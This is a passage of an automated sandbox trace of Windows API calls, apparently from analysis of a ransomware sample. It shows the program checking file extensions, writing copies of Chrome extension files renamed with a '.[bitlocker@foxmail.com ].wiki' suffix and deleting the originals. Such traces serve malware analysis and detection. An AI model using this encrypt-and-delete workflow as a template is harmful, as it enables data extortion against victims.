lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.375] lstrlenW (lpString=".bz2") returned 4 [0172.375] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.375] lstrlenW (lpString=".7z") returned 3 [0172.375] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.375] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0172.375] lstrlenW (lpString=".dbf") returned 4 [0172.375] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.375] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0172.375] lstrlenW (lpString=".1cd") returned 4 [0172.375] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.375] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\messages.json") returned 151 [0172.375] lstrlenW (lpString=".jpg") returned 4 [0172.376] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.376] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.376] lstrlenW (lpString="messages.json") returned 13 [0172.376] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.376] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=272) returned 1 [0172.376] CloseHandle (hObject=0x1b4) returned 1 [0172.376] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json")) returned 0x2020 [0172.376] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.377] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.377] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.377] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0172.377] GetLastError () returned 0x0 [0172.377] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x110, lpOverlapped=0x0) returned 1 [0172.378] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0x120, lpOverlapped=0x0) returned 1 [0172.379] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.379] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.379] SetEndOfFile (hFile=0x198) returned 1 [0172.380] CloseHandle (hObject=0x198) returned 1 [0172.380] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.380] SetEndOfFile (hFile=0x1b4) returned 1 [0172.380] CloseHandle (hObject=0x1b4) returned 1 [0172.381] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.381] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json")) returned 1 [0172.383] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0172.383] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0172.383] lstrlenW (lpString=".doc") returned 4 [0172.383] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.383] lstrlenW (lpString=".docx") returned 5 [0172.383] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.383] lstrlenW (lpString=".pdf") returned 4 [0172.383] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.383] lstrlenW (lpString=".xls") returned 4 [0172.383] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.383] lstrlenW (lpString=".xlsx") returned 5 [0172.383] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.383] lstrlenW (lpString=".ppt") returned 4 [0172.383] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.383] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0172.383] lstrlenW (lpString=".zip") returned 4 [0172.383] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.383] lstrlenW (lpString=".rar") returned 4 [0172.383] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.384] lstrlenW (lpString=".bz2") returned 4 [0172.384] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.384] lstrlenW (lpString=".7z") returned 3 [0172.384] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.384] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0172.384] lstrlenW (lpString=".dbf") returned 4 [0172.384] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.384] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0172.384] lstrlenW (lpString=".1cd") returned 4 [0172.384] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.384] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0172.384] lstrlenW (lpString=".jpg") returned 4 [0172.384] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.384] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0172.384] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0172.384] lstrlenW (lpString=".doc") returned 4 [0172.384] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.384] lstrlenW (lpString=".docx") returned 5 [0172.384] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.384] lstrlenW (lpString=".pdf") returned 4 [0172.384] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.384] lstrlenW (lpString=".xls") returned 4 [0172.384] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.384] lstrlenW (lpString=".xlsx") returned 5 [0172.384] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.384] lstrlenW (lpString=".ppt") returned 4 [0172.384] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.384] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0172.384] lstrlenW (lpString=".zip") returned 4 [0172.385] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.385] lstrlenW (lpString=".rar") returned 4 [0172.385] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.385] lstrlenW (lpString=".bz2") returned 4 [0172.385] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.385] lstrlenW (lpString=".7z") returned 3 [0172.385] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.385] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0172.385] lstrlenW (lpString=".dbf") returned 4 [0172.385] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.385] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0172.385] lstrlenW (lpString=".1cd") returned 4 [0172.385] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.385] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\messages.json") returned 151 [0172.385] lstrlenW (lpString=".jpg") returned 4 [0172.385] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.385] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.385] lstrlenW (lpString="messages.json") returned 13 [0172.385] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.386] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=227) returned 1 [0172.386] CloseHandle (hObject=0x1b4) returned 1 [0172.386] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json")) returned 0x2020 [0172.386] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.386] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.386] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.386] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0172.386] GetLastError () returned 0x0 [0172.387] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xe3, lpOverlapped=0x0) returned 1 [0172.454] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0172.454] ReadFile (in: hFile=0x1b4, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.454] WriteFile (in: hFile=0x198, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.455] SetEndOfFile (hFile=0x198) returned 1 [0172.455] CloseHandle (hObject=0x198) returned 1 [0172.455] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.455] SetEndOfFile (hFile=0x1b4) returned 1 [0172.456] CloseHandle (hObject=0x1b4) returned 1 [0172.456] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.456] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json")) returned 1 [0172.456] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0172.456] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0172.456] lstrlenW (lpString=".doc") returned 4 [0172.456] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.456] lstrlenW (lpString=".docx") returned 5 [0172.456] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.456] lstrlenW (lpString=".pdf") returned 4 [0172.456] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.456] lstrlenW (lpString=".xls") returned 4 [0172.456] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.457] lstrlenW (lpString=".xlsx") returned 5 [0172.457] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.457] lstrlenW (lpString=".ppt") returned 4 [0172.457] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0172.457] lstrlenW (lpString=".zip") returned 4 [0172.457] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.457] lstrlenW (lpString=".rar") returned 4 [0172.457] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.457] lstrlenW (lpString=".bz2") returned 4 [0172.457] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.457] lstrlenW (lpString=".7z") returned 3 [0172.457] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0172.457] lstrlenW (lpString=".dbf") returned 4 [0172.457] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0172.457] lstrlenW (lpString=".1cd") returned 4 [0172.457] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0172.457] lstrlenW (lpString=".jpg") returned 4 [0172.457] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0172.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0172.457] lstrlenW (lpString=".doc") returned 4 [0172.457] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.457] lstrlenW (lpString=".docx") returned 5 [0172.457] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.457] lstrlenW (lpString=".pdf") returned 4 [0172.457] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.457] lstrlenW (lpString=".xls") returned 4 [0172.458] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.458] lstrlenW (lpString=".xlsx") returned 5 [0172.458] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.458] lstrlenW (lpString=".ppt") returned 4 [0172.458] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0172.458] lstrlenW (lpString=".zip") returned 4 [0172.458] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.458] lstrlenW (lpString=".rar") returned 4 [0172.458] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.458] lstrlenW (lpString=".bz2") returned 4 [0172.458] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.458] lstrlenW (lpString=".7z") returned 3 [0172.458] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0172.458] lstrlenW (lpString=".dbf") returned 4 [0172.458] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0172.458] lstrlenW (lpString=".1cd") returned 4 [0172.458] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\messages.json") returned 151 [0172.458] lstrlenW (lpString=".jpg") returned 4 [0172.458] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.458] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.458] lstrlenW (lpString="messages.json") returned 13 [0172.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.459] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=221) returned 1 [0172.459] CloseHandle (hObject=0x1b4) returned 1 [0172.459] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json")) returned 0x2020 [0172.459] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.459] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0172.459] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.459] 